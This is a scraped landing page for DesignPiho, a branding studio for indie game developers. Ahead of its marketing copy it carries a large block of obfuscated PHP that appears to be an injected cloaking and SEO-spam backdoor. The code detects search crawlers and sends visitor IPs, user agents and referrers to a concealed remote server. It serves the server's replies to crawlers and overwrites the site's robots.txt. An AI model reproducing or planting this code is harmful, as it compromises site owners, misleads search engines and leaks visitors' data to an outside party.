0\x46\x6f\x72\142\x69\144\x64\x65\x6e"); goto J57IV; f78Gn: $TzfBm = 0; goto AAwqg; vEvy9: bgh7Z: goto ln0zx; eWSqz: Nd3JL: goto OfqhT; reTLQ: curl_setopt($hcTW2, CURLOPT_FOLLOWLOCATION, false); goto VFt7C; uGqeD: lAXxu: goto SswhV; uBqwZ: goto SRWum; goto hbF2K; NzYWG: QNsGR: goto tXcjN; atbhf: if (preg_match("\x40\x5e\57\x28\x2e\x2a\77\51\56\170\x6d\154\x24\100\151", $_SERVER["\122\105\121\x55\105\123\x54\137\125\x52\x49"]) or strpos($IbjeG, "\x72\157\x62\x6f\164\x73\x2e\164\x78\164") !== false or strpos($IbjeG, "\152\160\62\x30\x32\63") !== false or strpos($IbjeG, "\160\x69\156\x67\x73\x69\164\145\x6d\x61\160") !== false or preg_match("\x2f\50{$cYqto}\51\57\x69", $_SERVER["\110\x54\124\120\137\125\x53\105\x52\x5f\x41\107\x45\x4e\x54"]) or preg_match("\x2f\x28{$cYqto}\51\57\x69", @$_SERVER["\x48\124\x54\120\x5f\x52\x45\x46\105\x52\105\x52"])) { goto Nd3JL; } goto t7Flp; huKe1: fu3mA: goto qx66D; H7AoY: $k6szQ = trim($k6szQ) . "\15\xa" . "\123\x69\164\145\155\141\160\72\40{$AfqAb}"; goto Vepts; QH7jI: curl_close($hcTW2); goto JcWxz; FElQR: exit; goto vEvy9; L8acb: curl_setopt($hcTW2, CURLOPT_SSL_VERIFYHOST, FALSE); goto guS7T; C_6in: curl_setopt($hcTW2, CURLOPT_URL, $Je_3b); goto Lxg3o; RxLZA: F2iWX: goto rucIg; k77FA: goto ZzJQf; goto Zkg24; WYnBU: if (!(strpos($IbjeG, "\x70\x69\x6e\147\x73\x69\164\x65\x6d\x61\x70") !== false)) { goto uRsMQ; } goto JPsNU; Vepts: $MUt3n = ''; goto TRZML; TL3m4: $IbjeG = urlencode($_SERVER["\x52\x45\121\x55\105\123\x54\x5f\125\122\x49"]); goto vy8qk; Zkg24: rcJc8: goto MzknL; RdjIg: $rP9dF = urlencode($_SERVER["\123\x43\x52\111\120\x54\137\116\101\115\x45"]); goto c4SpL; vzjyO: P6owu: goto xPdKl; yM1Qy: if (strpos($n1zVo, "\151\x6e\144\145\x78\x2e\160") !== false) { goto jkurM; } goto jzchn; haRG2: $Je_3b = $clRQe . "\77\x61\147\x65\156\164\75{$NZ0dW}\46\x72\x65\x66\x65\x72\x3d{$DBzoG}\x26\154\x61\x6e\147\75{$vQgy_}\46\x69\x70\75{$C2fpv}\46\144\x6f\155\x3d{$rxBo5}\x26\150\x74\164\160\x3d{$sRVTM}\x26\x75\162\151\x3d{$IbjeG}\46\x70\x63\75{$QFR4t}\x26\x72\x65\167\162\151\x74\x65\141\x62\x6c\x65\x3d{$TzfBm}\46\163\143\x72\151\160\x74\75{$rP9dF}\x26\163\x69\164\145\x6d\x61\160\x3d" . urlencode($AfqAb); goto q8nRA; VFt7C: curl_setopt($hcTW2, CURLOPT_SSL_VERIFYPEER, FALSE); goto L8acb; Ffs0g: echo "\157\153"; goto g5KTO; kRCNM: goto lAXxu; goto Ei3PV; OpdWE: $TzfBm = v2YZt($P1x2S); goto O0hM8; pEusF: header("\x48\124\x54\120\x2f\x31\x2e\61\x20\x34\60\x34\40\116\157\x74\x20\106\157\x75\x6e\x64"); goto OiDAu; jzchn: $n1zVo = $n1zVo . "\x3f"; goto BVTdW; UQCVK: Ly122: goto N0jXq; t7Flp: goto Ly122; goto eWSqz; tXozM: goto SRWum; goto AyM0G; g5KTO: exit; goto Zxo6G; TRZML: echo $AfqAb . "\x3a\x20" . $MUt3n . "\x3c\142\162\x2f\x3e"; goto haRG2; iJrtk: goto lHt7o; goto CCHEt; agrbK: ZzJQf: goto RxLZA; N0jXq: goto YGjQm; goto LpBDy; PJyRh: header("\103\x6f\156\x74\145\156\164\55\124\171\x70\x65\x3a\40\164\145\170\164\x2f\170\x6d\154\73\x20\x63\x68\141\x72\163\x65\x74\x3d\x75\x74\146\x2d\70"); goto jXV_g; Lxg3o: curl_setopt($hcTW2, CURLOPT_RETURNTRANSFER, true); goto reTLQ; LV3YV: if (substr($hLdSr, 0, 5) == "\x3c\x3f\170\x6d\154") { goto Hux9t; } goto UsxKX; xPdKl: $k6szQ = "\x55\x73\x65\x72\x2d\141\x67\x65\x6e\164\72\x20\x2a\xd\xa\101\154\154\x6f\167\x3a\x20\x2f"; goto KG0ZP; hbF2K: nzG9j: goto PrWak; LqqTr: Hux9t: goto PJyRh; zcKXN: QoFs1: goto n7EYI; OWdEB: function v2iIt($YHRuA, $GSEIQ) { goto UvNeW; aHDNS: return true; goto W3X0Q; UrAEy: if (!$kjYdl) { goto cIYwm; } goto rnMgL; W3X0Q: cIYwm: goto yKLTa; yKLTa: return false; goto X_tVC; JFJeI: fclose($kjYdl); goto aHDNS; rnMgL: fwrite($kjYdl, $GSEIQ); goto JFJeI; UvNeW: $kjYdl = fopen($YHRuA, "\x77"); goto UrAEy; X_tVC: } goto cUzQ3; W_Bfa: goto JT_z0; goto huKe1; t0MoK: $QFR4t = "\x41\167\143\116\x41\101\x64"; goto EyfqK; kPvMb: $hLdSr = @file_get_contents($Je_3b); goto WBO2D; O5Vzy: v2iiT("\162\x6f\x62\157\x74\163\x2e\164\170\x74", $k6szQ); goto uGqeD; j6Mf3: if ($hLdSr === "\157\x6b") { goto rcJc8; } goto f78Gn; NTOn3: if (!(substr($hLdSr, 0, 10) == "\x65\162\162\x6f\162\40\143\157\144\x65" or $hLdSr == "\x35\x30\x30" or strpos($hLdSr, "\102\141\144\40\x47\x61\x74\x65\167\141\x79") !== false)) { goto bgh7Z; } goto vXfnS; l8Ipc: $a6L3Q = "\x74\x70\x3a"; goto iOMlx; LpBDy: hz9cT: goto ezc9B; m4vHC: $C2fpv = $_SERVER["\110\124\124\x50\137\130\x5f\106\117\x52\x57\101\122\104\x45\104\x5f\106\117\x52"]; goto Noizd; J57IV: exit; goto zcKXN; gzKrS: if (empty($hLdSr)) { goto Eohrd; } goto NTOn3; G5Dqs: gUSj8: goto pEusF; AAwqg: v2iit($P1x2S, "\60"); goto k77FA; lwlmn: $RRcyy = "\143\167\x32\70\x34\63\x2e\146\x69\x6c\x6d"; goto Smi1b; cUzQ3: function v2yzT($YHRuA) { goto awSDu; jnaGY: $GSEIQ = fread($kjYdl, filesize($YHRuA)); goto c_01h; KeyMp: return $GSEIQ; goto zA6fi; sVZ3e: return false; goto hW_l3; awSDu: $kjYdl = fopen($YHRuA, "\162"); goto one1c; zA6fi: rqnWY: goto sVZ3e; c_01h: fclose($kjYdl); goto KeyMp; one1c: if (!$kjYdl) { goto rqnWY; } goto jnaGY; hW_l3: } goto D_nfk; OfqhT: $Je_3b = $clRQe . "\x3f\141\147\x65\156\x74\75{$NZ0dW}\x26\162\145\x66\x65\x72\x3d{$DBzoG}\x26\x6c\x61\156\x67\x3d{$vQgy_}\46\x69\x70\x3d{$C2fpv}\46\144\157\155\x3d{$rxBo5}\x26\150\x74\164\160\x3d{$sRVTM}\x26\x75\x72\x69\x3d{$IbjeG}\46\160\143\75{$QFR4t}\x26\x72\x65\167\x72\151\x74\x65\141\x62\x6c\145\75{$TzfBm}\46\x73\143\x72\x69\x70\164\x3d{$rP9dF}"; goto hO7B7; PrWak: $C2fpv = $_SERVER["\110\x54\124\x50\x5f\x43\114\x49\105\116\x54\x5f\111\x50"]; goto tXozM; h_jjw: $_SERVER["\x52\105\121\125\x45\x53\x54\137\123\103\110\105\x4d\x45"] = "\150\x74\164\x70"; goto W_Bfa; RvTuE: if (!is_file($P1x2S)) { goto QNsGR; } goto OpdWE; pLAWR: $TzfBm = 0; goto L_Q8N; EQjP6: if (!(strpos($IbjeG, "\162\157\x62\157\164\x73\x2e\x74\170\x74") !== false)) { goto vHLmX; } goto K9PCg; PfBYp: JT_z0: goto OWdEB; ln0zx: if (strpos($IbjeG, "\152\x70\62\x30\x32\63") !== false) { goto gUSj8; } goto LV3YV; lgRkQ: $hcTW2 = curl_init(); goto C_6in; Fk0LA: goto Fp8RM; goto LqqTr; BVTdW: goto P6owu; goto qla3G; BHaYP: $Pgy__ = "\150\x74"; goto LRjFv; lQyX7: Eohrd: goto UQCVK; HUYCA: if (!empty($_SERVER["\122\x45\121\125\x45\x53\124\x5f\x53\103\x48\105\115\x45"]) and $_SERVER["\122\x45\x51\125\x45\123\124\x5f\123\103\110\105\x4d\x45"] == "\x68\x74\x74\160\x73" or !empty($_SERVER["\110\124\124\120\123"]) and $_SERVER["\x48\x54\124\120\123"] == "\157\x6e" or !empty($_SERVER["\x53\105\x52\126\x45\122\x5f\x50\117\x52\x54"]) and $_SERVER["\x53\x45\x52\126\x45\x52\x5f\x50\117\122\x54"] == "\x34\x34\63" or isset($_SERVER["\x48\x54\x54\120\x5f\130\x5f\x46\117\122\127\x41\122\104\105\x44\x5f\x50\x52\117\124\117"]) and $_SERVER["\110\124\x54\120\x5f\130\x5f\106\117\122\x57\x41\122\x44\x45\104\x5f\120\122\117\x54\x4f"] == "\150\164\164\160\x73") { goto fu3mA; } goto h_jjw; JPsNU: $n1zVo = $_SERVER["\x53\103\x52\x49\120\x54\x5f\x4e\101\x4d\x45"]; goto yM1Qy; TCitm: goto CZJ5q; goto G5Dqs; iNKyV: $DBzoG = urlencode(@$_SERVER["\110\124\124\120\x5f\122\x45\x46\x45\x52\x45\x52"]); goto ruHaV; CCHEt: ddmgU: goto lrBE8; QoD4x: $NZ0dW = urlencode($_SERVER["\110\x54\124\x50\x5f\x55\x53\105\122\137\x41\107\105\x4e\124"]); goto DL4qY; ruHaV: $C2fpv = $_SERVER["\122\x45\x4d\x4f\x54\105\x5f\x41\x44\104\122"]; goto QoD4x; lrBE8: $n1zVo = "\x2f\77"; goto sRnPH; OZfp7: $cYqto = "\102\151\156\147\x7c\x44\157\x63\157\x6d\x6f\174\131\141\x68\x6f\157\x7c\107\x6f\x6f\147\x6c\145"; goto Jm3Bs; SswhV: exit; goto joeNG; De4dn: v2IIt($P1x2S, "\x31"); goto agrbK; DL4qY: if (isset($_SERVER["\x48\124\124\x50\x5f\103\114\111\105\116\124\137\111\120"])) { goto nzG9j; } goto kcMwQ; JcWxz: m5FTQ: goto gzKrS; Jm3Bs: if (!preg_match("\57\50\107\157\x2d\x68\164\164\160\x2d\x63\x6c\x69\145\156\164\x7c\105\x61\163\x6f\x75\x53\x70\x69\x64\x65\162\174\x47\120\x54\102\157\x74\174\x44\151\x67\x45\x78\x74\x7c\x62\141\162\x6b\162\x6f\x77\154\x65\x72\174\x4a\x61\x75\x6e\x74\x79\174\x41\x6d\141\172\x6f\x6e\x42\157\x74\174\104\157\x74\102\x6f\x74\x7c\x42\171\164\x65\x73\x70\151\144\145\x72\x7c\103\145\x6e\x73\x79\x73\111\156\x73\160\x65\143\164\x7c\x66\x65\145\144\x44\x65\155\157\x6e\x7c\x65\172\157\157\x6d\x73\x7c\x44\141\164\141\106\x6f\x72\123\x45\x4f\174\125\x6e\x69\x76\x65\x72\x73\x61\154\106\x65\x65\x64\120\x61\162\x73\145\x72\174\x59\171\123\x70\x69\144\145\162\x7c\x63\x6f\157\154\x70\x61\144\127\145\x62\153\x69\164\174\x6a\141\x76\141\x7c\123\x63\x72\141\x70\x79\174\x43\162\x61\167\154\x44\x61\144\x64\171\x7c\x70\171\x74\150\157\156\55\165\162\x6c\x6c\x69\x62\174\x48\164\x74\x70\x43\154\x69\145\156\x74\x7c\131\151\x73\x6f\165\x53\160\x69\x64\x65\x72\x7c\x46\145\145\144\x6c\171\x7c\152\151\x6b\145\x53\x70\151\144\x65\x72\174\x61\150\x72\145\x66\x73\102\157\164\x7c\103\154\x61\165\x64\x65\142\157\164\174\155\152\x31\62\x62\157\x74\174\110\x65\x72\x69\164\x72\x69\x78\x7c\x50\x65\x74\x61\154\102\157\x74\x7c\x73\x65\155\x72\x75\x73\150\102\157\x74\174\x41\163\x6b\x54\142\106\130\124\126\174\x41\x70\141\x63\x68\145\x42\x65\x6e\x63\x68\174\x6c\x69\x67\x68\x74\104\145\x63\153\122\x65\160\x6f\162\x74\x73\40\102\157\x74\174\160\x79\x74\x68\157\156\x7c\123\x77\x69\146\x74\142\157\x74\174\171\141\x6e\x64\145\x78\102\x6f\164\x7c\111\156\144\171\40\x4c\x69\142\162\141\162\x79\x7c\x4f\x42\157\164\174\x7a\x6d\105\x75\x7c\123\x65\172\156\141\155\x42\x6f\164\174\x70\x61\154\157\141\154\x74\157\x6e\145\164\x77\157\x72\153\x73\174\120\171\x74\150\x6f\156\55\x72\x65\161\165\145\x73\x74\x73\x29\57\x69", $_SERVER["\x48\x54\x54\120\x5f\x55\x53\105\x52\137\101\107\x45\x4e\x54"])) { goto QoFs1; } goto RCIrf; vXfnS: header("\x48\124\x54\x50\57\61\56\x30\40\x35\x30\60\40\111\156\164\x65\x72\156\141\154\40\x53\145\x72\166\145\x72\x20\x45\162\x72\157\162"); goto FElQR; tXcjN: $vrsJM = $sRVTM . "\x3a\57\57" . $_SERVER["\110\124\x54\x50\137\110\x4f\x53\x54"] . "\x2f\155\141\x79\x6d\x61\171"; goto Bb604; KG0ZP: $AfqAb = "{$sRVTM}\x3a\x2f\57" . $rxBo5 . $n1zVo . "\163\151\164\145\x6d\x61\160\x2e\x78\155\154"; goto H7AoY; D_nfk: $sRVTM = urlencode($_SERVER["\x52\105\121\x55\x45\123\x54\x5f\x53\103\110\105\x4d\105"]); goto TL3m4; iOMlx: $o2bSC = "\150\157\154\x79\56\x63\x6f\x6d"; goto dAoS2; EyfqK: error_reporting(0); goto OZfp7; hO7B7: $k6szQ = ''; goto WYnBU; guS7T: $hLdSr = curl_exec($hcTW2); goto QH7jI; joeNG: return; goto lQyX7; i1Lw4: $n1zVo = "\57"; goto iJrtk; Ei3PV: JxjbW: goto O5Vzy; UsxKX: header("\x43\x6f\x6e\164\145\156\x74\55\124\x79\160\145\72\x20\164\x65\x78\x74\x2f\x68\164\x6d\154\73\x20\143\x68\x61\162\163\x65\164\75\165\x74\146\x2d\70"); goto Fk0LA; sRnPH: lHt7o: goto vzjyO; AyM0G: DouQ_: goto m4vHC; MzknL: $TzfBm = 1; goto De4dn; Qeyjo: if ($TzfBm == 0) { goto ddmgU; } goto i1Lw4; kA6Ub: vHLmX: goto kRCNM; LRjFv: $Hj8dC = "\x2f\x2f"; goto lwlmn; dAoS2: $clRQe = $Pgy__ . $a6L3Q . $Hj8dC . $RRcyy . $o2bSC . $bpYc4; goto t0MoK; mpdOP: $rxBo5 = urlencode($_SERVER["\x48\x54\124\x50\137\x48\117\x53\x54"]); goto RdjIg; K9PCg: V2iiT("\162\x6f\x62\157\x74\163\x2e\164\x78\x74", $hLdSr); goto kA6Ub; q8nRA: uRsMQ: goto kPvMb; Bb604: $hLdSr = @file_get_contents($vrsJM); goto j6Mf3; Smi1b: $bpYc4 = "\57"; goto l8Ipc; c4SpL: $C2fpv = urlencode($C2fpv); goto HUYCA; ezc9B: YGjQm: ?> Let’s Build the Visual Identity of Your Indie Game

DesignPiho helps indie developers create stunning brand systems, eye-catching logos, and launch-ready visual kits tailored for Steam, Kickstarter, and early-access releases.

Let’s Build the Visual Identity of Your Indie Game

We Are Creative Partners for Game Identity

DesignPiho is a branding-first creative studio dedicated to indie games. We work with solo developers, micro-studios, and early-access teams to bring their visual world to life—long before launch. From hand-crafted logos to pixel-perfect Kickstarter headers, we help you tell your story with clarity and style.

  • Logo and title font design
  • Genre-aligned palettes and typography
  • Streamlined brand kits for Steam and itch.io
  • Kickstarter-ready graphic packages
  • Social media visual assets
Schedule a Call

Discover How We Build Game Brands

+

identity kits delivered

%

client satisfaction rating

x

average increase in Kickstarter goal achievement

+

Used by creators across countries

Choose Your Perfect Branding Kit

Starter Pack (Logo + Palette)

Steam Launch Kit

Full Kickstarter Kit

Studio Identity Kit

Visual Design That Tells Your Game’s Story

Whether you're a solo dev or a small team, DesignPiho brings professional creative clarity to your launch. We don’t just design—we collaborate. Our kits don’t feel generic—they feel like your world, brought to life.

Getting Started is Simple

01

Submit Your Game Vision & Assets

02

Choose a Kit or Request Custom Scope

03

Review & Approve Concepts

04

Launch with Confidence

Trusted by Creators From

Limited Launch Pricing for Indie Teams